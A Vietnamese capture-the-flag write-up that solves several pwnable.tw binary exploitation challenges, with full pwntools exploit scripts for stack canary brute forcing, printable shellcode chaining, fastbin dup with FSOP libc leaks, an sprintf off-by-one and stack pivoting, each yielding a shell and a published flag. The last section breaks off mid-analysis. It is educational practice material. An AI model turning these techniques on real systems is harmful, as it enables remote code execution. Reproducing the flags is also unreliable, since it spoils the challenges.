# (writeup) PWNABLE.TW p2
- https://pwnable.tw/challenge/
## BabyStack [250 pts]
- description
Can you find the password in the stack?
``nc chall.pwnable.tw 10205``
[babystack](https://pwnable.tw/static/chall/babystack)
[libc.so](https://pwnable.tw/static/libc/libc_64.so.6)
- basic file check

- check ida (có renamed)

>**main()**

>**copy_input()**

>**check_pass()**
### analyse
- trước khi in ra '>> ' ở mỗi vòng lặp, sẽ có thêm 1 bước generate cái **random_password** dài 16 bytes
> sử dụng '/dev/urandom'
- sau đó ở cuối chương trình có 1 bước check trước khi return
``memcmp(random_password,cana_check,0x10)``
>khá giống check canary, nhưng lần này là canary tận 16 bytes
- program chia làm 2 option chính:
- **check_pass()** : so sánh **input** với **random_password** bằng hàm ``strncmp``
- đúng in "Login Success !"
- sai in "Failed !"
- BUG ``strncmp`` : so tới NULL là dừng
- **copy_input()** : copy **src** vào stack
- ***a1** là $rdi được truyền vào là **char v6[64]**
- ngoài ra có biến **check** mặc định = 0, khi vào **check_pass()** nếu "Login Success !" thì set = 1
- nhưng trước mỗi lần vào **copy_input()** hay **check_pass()** thì có điều kiện: **if(check)**
- **copy_input()** cần **check=1** mới vào được
- **check_pass()** cần **check=0** mới vào được
- **check=1** thì sẽ reset về **0** khi chọn option **check_pass()**
### brute password --- canary
- như đã đề cập từ trước, BUG của ``strncmp`` sẽ chỉ so tới NULL ---> có thể brute từng byte để leak **random_password**
- ta sẽ viết 2 vòng lặp lồng nhau, loop 16 byte, mỗi byte brute từ 1 đến 256
```python
leak_password = b''
for i in range(16):
for j in range(1,256):
payload = b''.join([p8(b) for b in leak_password]) + p8(j) + b'\0'
password(payload)
if b'Failed !\n' not in p.recvline():
info('byte found: ' + hex(j)[2:])
leak_password += p8(j)
sa(b'>> ',b'1') #set check=0
break
info('leaked password: ' + str(leak_password))
```
### brute libc
- kết hợp cả tính năng ``strcpy`` từ **copy_input()**, ta sẽ padding lượng vừa đủ để nối chuỗi đến địa chỉ libc trên stack

>padding 72 bytes nối chuỗi libc
- sau đó ta cần **check=1** để đi tiếp **copy_input()** thì đơn giản là **check_pass()** cho NULL : ``p64(0)``
- rồi **copy_input()** padding lại 8 byte khác NULL
>lúc này **check=1** thì để brute, ta lại set **check=0**
>``sa(b'>> ',b'1') #set check=0``
- tương tự như cách brute password, lần này vòng lặp ít hơn
>do **copy_input()** là ``strcpy`` vào **char v6[64]**
>mà padding 72 + nối chuỗi vài byte libc
>---> overflow cả **random_password**
>
- chỉ cần 5 vòng cho 5 byte, vì 3 byte còn lại là ``0x00007f``
>do debug local nên tạm thời thế 0x7f thành 0x15
```python
libc_leak = []
for i in range(5):
for j in range(1,256):
payload = b'a'*8 + b''.join([p8(b) for b in libc_leak]) + p8(j) + b'\0'
password(payload)
if b'Failed !\n' not in p.recvline():
info('byte found: ' + hex(j)[2:])
libc_leak.append(j)
sa(b'>> ',b'1') #set check=0
break
# libc_leak.append(0x7f) #remote
libc_leak.append(0x15) #local
libc_leak.append(0)
libc_leak.append(0)
libc_leak = u64(b''.join([p8(b) for b in libc_leak]))
info('libc leak: ' + hex(libc_leak))
libc.addess = libc_leak - 0x78439
info('libc base: ' + hex(libc.addess))
```
> padding 8 bytes 'a' là do lúc debug, libc ngay sau 8 byte 'a'
> 
### one gadget
- tương tự brute libc, ta cần payload return one_gadget nằm trên stack
---> tiếp tục dùng **copy_input()**
- việc còn lại là adjust canary và lượng padding phù hợp
```python
payload = b'a'*0x40
payload += leak_password #de20
payload += b'a'*0x18
payload += p64(one_gadget) #de48
password(payload)
password(p64(0))
copy(b'D'*8) #dd50 -copy-> dde0
print(hexdump(leak_password))
exit()
```

### get flag

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./babystack_patched',checksec=False)
libc = ELF('./libc_64.so.6',checksec=False)
def GDB(): #NOASLR
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x555555400e2a
b*0x555555400ebb
b*0x555555400ff1
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw',10205)
else:
p = process(exe.path)
def password(data,check=False):
sa(b'>> ',b'1')
sa(b'passowrd :',data)
def copy(data):
sa(b'>> ',b'3')
sa(b'Copy :',data)
def exit():
sa(b'>> ',b'2')
leak_password = b''
for i in range(16):
for j in range(1,256):
payload = b''.join([p8(b) for b in leak_password]) + p8(j) + b'\0'
password(payload)
if b'Failed !\n' not in p.recvline():
info('byte found: ' + hex(j)[2:])
leak_password += p8(j)
sa(b'>> ',b'1') #set check=0
break
info('leaked password: ' + str(leak_password))
payload = b'a'*72
password(payload)
password(p64(0))
copy(b'C'*8)
sa(b'>> ',b'1') #set check=0
libc_leak = []
for i in range(5):
for j in range(1,256):
payload = b'a'*8 + b''.join([p8(b) for b in libc_leak]) + p8(j) + b'\0'
password(payload)
if b'Failed !\n' not in p.recvline():
info('byte found: ' + hex(j)[2:])
libc_leak.append(j)
sa(b'>> ',b'1') #set check=0
break
# GDB()
libc_leak.append(0x7f) #remote
# libc_leak.append(0x15) #local
libc_leak.append(0)
libc_leak.append(0)
libc_leak = u64(b''.join([p8(b) for b in libc_leak]))
info('libc leak: ' + hex(libc_leak))
libc.addess = libc_leak - 0x78439
info('libc base: ' + hex(libc.addess))
gadget = [0x45216,0x4526a,0xef6c4,0xf0567]
one_gadget = libc.addess + gadget[3]
payload = b'a'*0x40
payload += leak_password #de20
payload += b'a'*0x18
payload += p64(one_gadget) #de48
password(payload)
password(p64(0))
copy(b'D'*8) #dd50 -copy-> dde0
print(hexdump(leak_password))
exit()
p.interactive()
#FLAG{Its_juS7_a_st4ck0v3rfl0w}
```
>FLAG{Its_juS7_a_st4ck0v3rfl0w}
---
## Alive Note [350 pts]
- description:
The last 23 days, write down your shellcode.
``nc chall.pwnable.tw 10300``
[alive_note](https://pwnable.tw/static/chall/alive_note)
- basic file check

- check ida

>**main()**

>**add_note()**
>có BUG OOB khi chỉ check idx < 10
>nhập max 8 byte, check các byte ascii
>thoả mãn thực thi **strdup** trả về ptr heap lưu vào **note[idx]**
>

>**show_note()**
>BUG OOB, show data trong **note[idx]**

>**del_note()**
>BUG OOB, xoá **note[idx]** bằng hàm **free**

>**check()**
>check các byte chữ HOA chữ THƯỜNG và số
### analyse
- vì có BUG OOB, có **free(note[idx])** nên nghĩ đến trigger free@GOT

>offset = -27
- mỗi 1 note tối đa 8 byte và mỗi note là 1 heap được chain kế nhau trong heap chunk
- suy ra mỗi shellcode sẽ có bước nhảy để lồng các shellcode trong từng heap
- nếu để viết shellcode cho execve thì khá là khoai nên idea sẽ là call sysread rồi get_shell 1 loạt như bth cho dễ
### writing shellcode
- [link byte shellcode](https://wenku.baidu.com/view/bf5227ecaeaad1f346933f86.html?_wkts_=1705022728292)
- [link chain code asm](https://defuse.ca/online-x86-assembler.htm#disassembly)
- sử dụng lệnh ``jne`` để linking các khối với nhau
> ``jne offset`` : sử dụng 1 giá trị độ lệch tương đối giữa 2 khối đoạn nằm trong phạm vi pháp lý
- nếu dùng pwntool thì bị lỗi khi generate shellcode nên xem link byte shellcode trên biết được lệnh ``jne`` có byte là '\x75' (hoặc ``jnz``)
- về ``int 0x80`` thì dùng kỹ thuật ``xor`` tương tự bài [Death Note](https://hackmd.io/@trhoanglan04/ryoncvv42#Death-Note-250-pts)
- ``jne`` để nhảy thì nhảy cũng phải từ 0x30 trở lên (thoả mãn byte in được)
---> chain shellcode cách vài chunk

>registers trước khi thực thi shellcode
>local thì $ebx chứa địa chỉ môi trường nhưng server sẽ = 0
```
idea xor:
đẩy eax lên stack đưa đỡ vào ecx
rồi từ ecx đó đem đi xor
đẩy edx là 0 lên stack rồi pop eax
giảm eax xuống 0xffffffff rồi đem đi xor
idea jump:
cuối payload sẽ tính offset đến shellcode tiếp theo
script có note lại quá trình shellcode bị biến đổi
theo dõi script để hiểu kỹ hơn
```
### setup run LOCAL
```pwndbg
pwndbg> call (int)mprotect(heap_base,offset,7)
```
### get shell

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./alive_note',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*add_note+98
b*del_note+76
b*show_note+95
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw',10300)
else:
p = process(exe.path)
def add(idx,name):
sla(b'choice :',b'1')
sla(b'Index :',str(idx))
sa(b'Name :',name)
def show(idx):
sla(b'choice :',b'2')
sla(b'Index :',str(idx))
def delete(idx):
sla(b'choice :',b'3')
sla(b'Index :',str(idx))
GDB()
shellcode1 = asm('''
push eax
pop ecx
push edx
push 0x7a
pop edx
''',arch='x86')
shellcode1 += b'\x75\x38' #jump 1e0 shellcode5
add(-27,shellcode1) #1a0
shellcode2 = asm('''
xor al,0x46
xor byte ptr[ecx+0x35], al
push edx
''',arch='i386')
#0xff ^ 0x46 = 0xb9
#ecx+0x35 = b'\x74' (shellcode4)
shellcode2 += b'\x75\x38' #jump 1f0 shellcode6
#\x74 ^ 0xb9 = 0xcd
add(0,shellcode2) #1b0
shellcode3 = b'aaaa' #padding
add(1,shellcode3) #1c0
shellcode4 = asm('''
pop eax
xor al, 0x79
push eax
push eax
''',arch='i386')
shellcode4 += b'\x74\x39' #int 0x80 call sysread
add(2,shellcode4) #1d0
shellcode5 = asm('''
pop eax
dec eax
xor byte ptr[ecx+0x46], al
''',arch='i386')
#ecx+0x46 = b'\x36' (shellcode5)
shellcode5 += b'\x75\x36' #jump 1b0 shellcode2
#\x36 ^ 0xff = 0xcb (jne -0x35)
add(3,shellcode5) #1e0
shellcode6 = asm('''
xor byte ptr[ecx+0x36], al
xor byte ptr[ecx+0x57], al
''',arch='i386')
#ecx+0x36 = b'\x39' (shellcode4)
#ecx+0x57 = b'\x61' (shellcode6)
shellcode6 += b'\x75\x61' #jump 1d0 shellcode4
#\x39 ^ 0xb9 = 0x80
#\x61 ^ 0xb9 = 0xd8 (jne -0x26)
add(4,shellcode6) #1f0
delete(-27)
get_shell = asm(shellcraft.sh())
p.send(b'a'*0x37+get_shell)
p.interactive()
#FLAG{Sh3llcoding_in_th3_n0t3_ch4in}
```
>FLAG{Sh3llcoding_in_th3_n0t3_ch4in}
---
## Heap Paradise [350 pts]
- description
Let's go to heap paradise
``nc chall.pwnable.tw 10308``
[heap_paradise](https://pwnable.tw/static/chall/heap_paradise)
[libc.so](https://pwnable.tw/static/libc/libc_64.so.6)
- basic file check

- check ida (renamed do stripped)

>**main()**

>**menu()**
>chia làm 3 option chính
>tạo chunk, xoá chunk và thoát chtrinh

>**add()**
>tạo tối đa 15 chunks
>mỗi chunk tạo có size tối đa 0x78
>ptr mỗi chunk được lưu vào bss **chunk**
>
>NOASLR : chunk = 0x555555602040

>**delete()**
>đơn giản là free chunk thôi
>nhưng lại k set ptr = NULL
>---> DBF hoặc UAF
### analyse
- 1 chtrinh đơn giản chỉ tạo chunk, xoá chunk
- không có option nào in ra data
- phải định hướng làm sang FSOP
- challenge đi kèm libc2.23 ---> không có tcache
- lấy shell bằng ``__malloc_hook``
### make ubin
- đầu tiên ta phải tạo fake_chunk, cũng như set fake_next_size
- bước này đơn giản thôi
- DBF để sửa fastbin trỏ về fake_chunk
- sau đó sửa size fake_chunk lên 0xa1 (out of range fastbin) rồi cuối cùng free nó
```python
payload = flat(
0,0, #4010 #4018
0,0x71 #4020 #4028 #fake_chunk #victim_size
)
add(0x68,payload) #chunk0:4010
payload = flat(
0,0, #4080 #4088
0,0, #4090 #4098
0,0, #40a0 #40a8
0,0, #40b0 #40b8
0,0x21 #40c0 #40c8 #next_chunk #next_size
)
add(0x68,payload) #chunk1:4080
delete(0) #0 #4000
delete(1) #1->0 #4070->4000
delete(0) #0->1->0 #4000->4070->4000 #fastbin dup
add(0x68,b'\x20') #chunk2:4010 #bin:0x4070->4000->4020
add(0x68,b'A') #chunk3:4080 #bin:4000->4020
add(0x68,b'B') #chunk4:4010 #bin:4020
add(0x68,b'C') #chunk5:4030 #fake_chunk
delete(0) #bin:4000
payload = flat(
0,0, #4010 #4018
0,0xa1 #4020 #4028 #fake_chunk #fake_size
)
add(0x68,payload) #chunk6:4010
delete(5) #5 -> ubin:4020
```
### brute force FSOP
- khúc này ta sẽ tận dụng cơ chế phân bổ chunk khi có ubin ([xem thêm](https://hackmd.io/@trhoanglan04/heap_introduce#%F0%9F%91%80-unsorted-large-small-bins))
- ta sẽ tạo 1 chunk khác với size cũ, để malloc phân bổ ubin từ size 0xa1 xuống
>tránh malloc cùng size để reused fastbin
- rồi data sẽ set fake_size cũng như ow 1 byte trỏ đến main_area
```python
delete(0) #0 #4000
delete(1) #1->0 #4070->4000
payload = flat(
0,0, #4030 #4038
0,0, #4040 #4048
0,0, #4050 #4058
0,0, #4060 #4068
0,0x71 #4070 #4078
)
payload += b'\xa0' #ow heap bin
#from 4070->4000 to 4070->40a0->main_area
add(0x78,payload) #chunk7:4030 #request from ubin 4020
#new ubin 40a0 (size 0xa1-0x80=0x21)
delete(7)
```
- lần malloc tiếp theo với size cũ sẽ có khả năng ow cả main_area
- ta sẽ ow 2 bytes biến main_area thành 1 addr_libc khác
>logical thinking sẽ ow 2 byte nào đó là 1 fake_chunk có sẵn fake_size
- để FSOP thì liên quan đến stdout, ta sẽ ow địa chỉ trước stdout là stderr và kiếm 1 địa chỉ sao cho có size 0x7f (byte libc)

>do DEBUG LOCAL có NOASLR nên byte là 0x15, giả định bỏ NOASLR là byte 0x7f
- nhận thấy rằng ở ``_IO_2_1_stdout - 0x43`` có size thoả mãn, ta sẽ ow đúng 2 bytes ``b'\xdd\x45'``
```python
brute = p64(libc.sym['_IO_2_1_stdout_'] - 0x43)[:2]
payload = flat(
0,0, #4080 #4088
0,0, #4090 #4098
0,0x71 #40a0 #40a8 #victim_chunk #re_size
)
payload += brute #ow main_area to stdout-0x43 (fake_size 0x7f)
add(0x68,payload) #chunk8:4080 #bin:40a0->stdout-0x43
add(0x68,brute) #chunk9:40b0 #re_ow stdout-0x43
```
- về target để leak libc trong FSOP, có thể [xem thêm](https://hackmd.io/@trhoanglan04/SJWrxsQs2#target-to-leak)

>_flags = 0xfbad1800
>write_base < write_ptr : sửa 46a3 thành 4688
>0x88 < 0xa3 : thoả
>0x88 : chứa địa chỉ stdin
>
> offset = 0x3c38e0
### ow __malloc_hook = one_gadget
- tới bước này là dễ rồi, tương tự các bài khác
> [xem kỹ thuật](https://hackmd.io/@trhoanglan04/rJxI7P1Dn#Attack-Hook-Hook-Overwrite)

### get flag

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./heap_paradise_patched',checksec=False)
libc = ELF('./libc_64.so.6',checksec=False)
ld = ELF('./ld-2.23.so',checksec=False)
def GDB(): #NOALSR
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x555555400d66
b*0x555555400dcd
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
def add(size, data):
sla(b'You Choice:',b'1')
sla(b'Size :',str(size))
sa(b'Data :',data)
def delete(idx):
sla(b'You Choice:',b'2')
sla(b'Index :',str(idx))
#chunk = 0x555555602040
while True:
if args.REMOTE:
p = remote('chall.pwnable.tw',10308)
else:
p = process(exe.path)
### ubin ###
payload = flat(
0,0, #4010 #4018
0,0x71 #4020 #4028 #fake_chunk #victim_size
)
add(0x68,payload) #chunk0:4010
payload = flat(
0,0, #4080 #4088
0,0, #4090 #4098
0,0, #40a0 #40a8
0,0, #40b0 #40b8
0,0x21 #40c0 #40c8 #next_chunk #next_size
)
add(0x68,payload) #chunk1:4080
delete(0) #0 #4000
delete(1) #1->0 #4070->4000
delete(0) #0->1->0 #4000->4070->4000 #fastbin dup
add(0x68,b'\x20') #chunk2:4010 #bin:0x4070->4000->4020
add(0x68,b'A') #chunk3:4080 #bin:4000->4020
add(0x68,b'B') #chunk4:4010 #bin:4020
add(0x68,b'C') #chunk5:4030 #fake_chunk
delete(0) #bin:4000
payload = flat(
0,0, #4010 #4018
0,0xa1 #4020 #4028 #fake_chunk #fake_size
)
add(0x68,payload) #chunk6:4010
delete(5) #5 -> ubin:4020
### leak libc ###
# GDB()
delete(0) #0 #4000
delete(1) #1->0 #4070->4000
payload = flat(
0,0, #4030 #4038
0,0, #4040 #4048
0,0, #4050 #4058
0,0, #4060 #4068
0,0x71 #4070 #4078
)
payload += b'\xa0' #ow heap bin
#from 4070->4000 to 4070->40a0->main_area
add(0x78,payload) #chunk7:4030 #request from ubin 4020
#new ubin 40a0 (size 0xa1-0x80=0x21)
delete(7)
#bin0x70:4070->40a0->main_area
#bin0x80:4020
brute = p64(libc.sym['_IO_2_1_stdout_'] - 0x43)[:2]
payload = flat(
0,0, #4080 #4088
0,0, #4090 #4098
0,0x71 #40a0 #40a8 #victim_chunk #re_size
)
payload += brute #ow main_area to stdout-0x43 (fake_size 0x7f)
add(0x68,payload) #chunk8:4080 #bin:40a0->stdout-0x43
add(0x68,brute) #chunk9:40b0 #re_ow stdout-0x43
_flags = 0xfbad1800
payload = b'\0'*0x33 #padding
payload += p64(_flags)
payload += p64(0) * 3 + b'\x88'
try:
add(0x68,payload) #take from libc addr (main area)
except EOFError:
continue
leak = p.recv(6)
if leak != b'*'*6:
libc_leak = u64(leak.ljust(8,b'\0'))
libc.address = libc_leak - 0x3c38e0
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
break
else:
p.close()
### get shell ###
delete(0)
delete(1)
delete(0)
gadget = [0x45216,0x4526a,0xef6c4,0xf0567]
one_gadget = libc.address + gadget[2]
add(0x68,p64(libc.sym['__malloc_hook']-0x23))
add(0x68,b'A')
add(0x68,b'B')
add(0x68,b'a'*0x13 + p64(one_gadget))
delete(0)
delete(0)#trigger aborted
p.interactive()
#FLAG{W3lc0m3_2_h3ap_p4radis3}
```
>FLAG{W3lc0m3_2_h3ap_p4radis3}
---
## Spirited Away [300 pts]
- description:
Thanks for watching Spirited Away !
Please leave some comments to help us improve our next movie !
``nc chall.pwnable.tw 10204``
[spirited_away](https://pwnable.tw/static/chall/spirited_away)
[libc.so](https://pwnable.tw/static/libc/libc_32.so.6)
- basic file check

- check ida


>**survey()**
>biến **name_buf** là ptr cho **malloc(60)**
>loop lại thì **free(name_buf)** rồi **memset()** cho **comment**
### analyse
- run chay binary thì thấy 1 khả năng leak từ %s

> leak được libc, stack, v.v..
- ngoài ra còn 1 bug khác ít để ý tới là lỗi off-by-one đến từ hàm **sprintf()**
- biến **v1** được khai báo là 56,

> chuỗi `%d comment so far. We will review them as soon as we can` vừa hay đủ 56 byte
- hàm đó sẽ copy định dạng `%d` từ biến **cnt** và cả chuỗi đó vào
- đồng nghĩa nếu biến **cnt** trong phạm vi 0<**cnt**<99 sẽ vẫn ở trạng thái 56 byte
> "%d" là 2, **cnt** khi ở 2 digits vẫn k vấn đề gì
- nhưng **cnt** là 3 digits sẽ overflow xuống biến **size_60** 1 byte là "n" trong từ "can"
> từ size 60 thành size 0x6e ("n")
===> BOF cho biến **name_buf** và **comment**
### leak primitive
- leak libc và leak stack là dễ rồi
```python
add(b'a',10,b'b'*36,b'c')
p.recvuntil(b'b'*36)
libc_leak = u32(p.recv(4))
libc.address = libc_leak - 0x5d39f
info("libc leak: " + hex(libc_leak))
info("libc base; " + hex(libc.address))
yes()
add(b'a',10,b'b'*56,b'c')
p.recvuntil(b'b'*56)
stack_leak = u32(p.recv(4))
info("stack leak: " + hex(stack_leak))
yes()
```
### ret2system
- đầu tiên ta phải padding đến khi thành size 0x6e
```python
for i in range(3,101):
if i > 10 and i <=100:
add(False,10,b'b',False)
info("cnt: " + str(i))
yes()
else:
add(b'a',10,b'b',b'c')
info("cnt: " + str(i))
yes()
```
> phải chia 2 giai đoạn padding khác nhau vì trong lúc DEBUG, có vài đoạn bị pass qua mà không cần nhập
```python
def add(name, age, reason, comment):
if name != False:
sa('name: ',name)
sla('age: ',str(age))
sa('movie? ',reason)
if comment:
sa('comment: ',comment)
```
>chỉnh lại hàm
- nhớ thứ tự biến trong ida là **comment[80]** -> ***name_buf** -> **reason[80]**
```
comment = $ebp-0xa8
#comment->name_buf = 0x54
name_buf = $ebp-0x54
reason = $ebp-0x50
```
- và thứ tự ghi data là **name_buf** -> **age** -> **reason** -> **comment**
- vì **reason** gần $eip nhất mà lại không BOF được, nên ta sẽ fake **name_buf** thành stack_need gần $eip
- nhưng **name_buf** lại là ptr chứa heap chunk, để fake không bị lỗi ta phải setup stack_need thành fake_chunk có fake_size 0x41
- cũng không quên set cho cả next_size của fake_chunk

>loop gần 100 vòng nên next_chunk có size tận 0x1008
- sau **reason** là tới **comment** có khả năng BOF ow được **name_buf**
```python
reason = p32(0)
reason += p32(0x41) #fake_size
reason += b'aaaa'*15 #need = ptr name_buf = fake_chunk
reason += p32(0x1009) #fake_next_size
cmt = b'd'*0x54 + p32(stack_leak-0x68)
add(b'a',10,reason,cmt)
yes()
```
- cuối cùng thì ow $eip là **system()** là xong
### get flag

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./spirited_away_patched',checksec=False)
libc = ELF('./libc_32.so.6',checksec=False)
def GDB(): #NOASLR
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*survey+125
b*survey+235
b*survey+305
b*survey+381
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw',10204)
else:
p = process(exe.path)
def add(name, age, reason, comment):
if name != False:
sa('name: ',name)
sla('age: ',str(age))
sa('movie? ',reason)
if comment:
sa('comment: ',comment)
def yes():
sa(b'<y/n>: ',b'y')
add(b'a',10,b'b'*36,b'c')
p.recvuntil(b'b'*36)
libc_leak = u32(p.recv(4))
libc.address = libc_leak - 0x5d39f
info("libc leak: " + hex(libc_leak))
info("libc base; " + hex(libc.address))
yes()
add(b'a',10,b'b'*56,b'c')
p.recvuntil(b'b'*56)
stack_leak = u32(p.recv(4))
info("stack leak: " + hex(stack_leak))
yes()
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh\0'))
for i in range(3,101):
if i > 10 and i <=100:
add(False,10,b'b',False)
info("cnt: " + str(i))
yes()
else:
add(b'a',10,b'b',b'c')
info("cnt: " + str(i))
yes()
name_stack = stack_leak - 0x74
comment_stack = stack_leak - 0xc8
reason_stack = stack_leak - 0x70
age_stack = stack_leak - 0x78
info("stack leak: " + hex(stack_leak))
info("stack name_buf: " + hex(name_stack))
info("stack reason: " + hex(reason_stack))
info("stack comment: " + hex(comment_stack))
info("stack need: " + hex(stack_leak-0x68))
GDB()
reason = p32(0)
reason += p32(0x41) #fake_size
reason += b'aaaa'*15 #need = ptr name_buf = fake_chunk
reason += p32(0x1009) #fake_next_size
cmt = b'd'*0x54 + p32(stack_leak-0x68)
add(b'a',10,reason,cmt)
yes()
payload = b'a' * 76
payload += p32(system)
payload += p32(0) #padding
payload += p32(binsh)
add(payload,10,b'b',b'a')
sa(b'<y/n>: ',b'n')
p.interactive()
#FLAG{Wh4t_1s_y0ur_sp1r1t_1n_pWn}
```
>
---
## De-ASLR [500 pts]
- description
Do you know how to Defeat ASLR?
``nc chall.pwnable.tw 10402``
[deaslr](https://pwnable.tw/static/chall/deaslr)
[libc.so](https://pwnable.tw/static/libc/libc_64.so.6)
- basic file check

- check ida

>**main()**
### analyse
- chỉ 1 hàm **gets**, không hàm nào possible để in ra
- ban đầu nghĩ tới ret2dlresolve, nhưng nhìn security check thì thấy ==Full RELRO==
- sau khi nhận được hint là BUG sẽ xuất hiện khi ta trigger **gets** twice
- trigger **gets** tức là mình phải ghi cái gì đó
- để leak libc bằng FSOP ta cũng phải ghi đè ``flags = 0xfbad1800`` chẳng hạn
- và get shell bằng **system** thì ta phải call tới nó

>khi leak libc bằng FSOP thì khó mà đưa **system("/bin/sh")** vào stack
>nên ta chọn cái ``call qword ptr [rbp + 0x48]``
### stack pivot
- đầu tiên để ROP thì ta sẽ stack pivot vào 1 addr r_w_section
```python
payload = p64(rw_section) #rbp
payload += p64(pop_rdi)
payload += p64(rw_section)
payload += p64(gets)
payload += p64(leave_ret)
sl(b'a'*0x10 + payload)
```
### ROP + FSOP
- vì mục tiêu là ``rbp + 0x48`` nên target_addr sẽ chứa **system**
- ta sẽ trigger **gets** 2 lần, lần 1 chỉ '\n', lần 2 sẽ cho FSOP
- dừng lại sau khi **gets** lần 1:

>nhìn thấy $rdi là `_IO_2_1_stdin`
>lần **gets** thứ 2 sẽ thay đổi được file structure
- ta sẽ leak libc_start_main

>0x600fe0
- sử dụng pwntool cho tiện
```python
fs = FileStructure()
fs.flags = 0xfbad1800
fs._IO_write_base = 0x600fe0 # __libc_start_main_@got.plt
fs._IO_write_ptr = 0x600fe8 # leak 8 bytes
```
- việc sau đó là call **gets** lần nữa để ghi **system** và "/bin/sh\0"
- rồi setup $rdi cho "/bin/sh\0" rồi `call qword [rbp + 0x48]`
### get flag

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./deaslr_patched',checksec=False)
libc = ELF('./libc_64.so.6',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*main+30
b*main+31
b*0x400430
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw',10402)
else:
p = process(exe.path)
gets = exe.plt['gets']
pop_rdi = 0x00000000004005c3
call_rbp = 0x0000000000400535 # call qword ptr [rbp + 0x48]
leave_ret = 0x0000000000400554
rw_section = 0x601a00
target = 0x601020
#stack pivot
payload = p64(rw_section) #rbp
payload += p64(pop_rdi)
payload += p64(rw_section)
payload += p64(gets) #payload1
payload += p64(leave_ret)
# GDB()
sl(b'a'*0x10 + payload)
payload = p64(target - 0x48) #fake_rbp
payload += p64(pop_rdi)
payload += p64(0x601b00) #rw_section
payload += p64(gets) #payload2
payload += p64(gets) #payload3 #trigger twice FSOP
payload += p64(pop_rdi)
payload += p64(target)
payload += p64(gets) #payload4 #leak libc
payload += p64(pop_rdi)
payload += p64(target+8) #"/bin/sh"
payload += p64(call_rbp) #call system
sl(payload) #payload1
sl(b'') #payload2
#not send to have _IO_2_1_stdin_ in rdi
#next gets will write like FSOP
fs = FileStructure()
fs.flags = 0xfbad1800
fs._IO_write_base = 0x600fe0 # __libc_start_main_@got.plt
fs._IO_write_ptr = 0x600fe8 # leak 8 bytes
sl(bytes(fs)[:0x48]) #payload3
libc_leak = u64(p.recv(8))
libc.address = libc_leak - libc.sym['__libc_start_main']
log.info('libc leak: ' + hex(libc_leak))
log.info('libc base: ' + hex(libc.address))
payload = p64(libc.sym['system']) #target
payload += b'/bin/sh\0'
sl(payload) #payload4
p.interactive()
#FLAG{R0P_H4rd_TO_D3F3AT_ASLR}
```
>FLAG{R0P_H4rd_TO_D3F3AT_ASLR}
---
## MnO2 [400 pts]
- description
Give me some compound. No more than 31337 mole.
``nc chall.pwnable.tw 10301``
[mno2](https://pwnable.tw/static/chall/mno2)
- basic file check

- check ida

>**main()**


>**check()**

>**find()**

>&**elements**

### analyse
- tạo **mmap** cho địa chỉ 0x324F6E4D (b'MnO2') có size 0x8000 và prot=7
- sau đó set NULL cuối payload
- rồi tới hàm **check()**
- hàm **check()** sẽ filter payload ta lại, cho phép các byte in được (ascii) và thoả mãn là 1 nguyên tố hoá học (element) và hoá trị (valence)
```python
table = [
'H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F',
'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl',
'Ar', 'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn',
'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As',
'Se', 'Br', 'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb',
'Mo', 'Tc', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In',
'Sn', 'Sb', 'Te', 'I', 'Xe', 'Cs', 'Ba', 'La',
'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb',
'Dy', 'Ho', 'Er', 'Tm', 'Yb', 'Lu', 'Hf', 'Ta',
'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl',
'Pb', 'Bi', 'Po', 'At', 'Rn', 'Fr', 'Ra', 'Ac',
'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk',
'Cf', 'Es', 'Fm', 'Md', 'No', 'Lr', 'Rf', 'Db',
'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Fl', 'Lv'
]
```
- nhưng cùi mía ở chỗ hoá trị không nhất thiết phải đúng là 1, 2 hay 3 (chỉ check hoá trị là số sẽ sau 1 nguyên tố) ---> BUG: chain custom shellcode
- TARGET: shellcode sẽ setup **read( 3 , shellcode_addr , huge_size )** để thực thi **read** 1 lần nữa rồi call execve
### writing shellcode
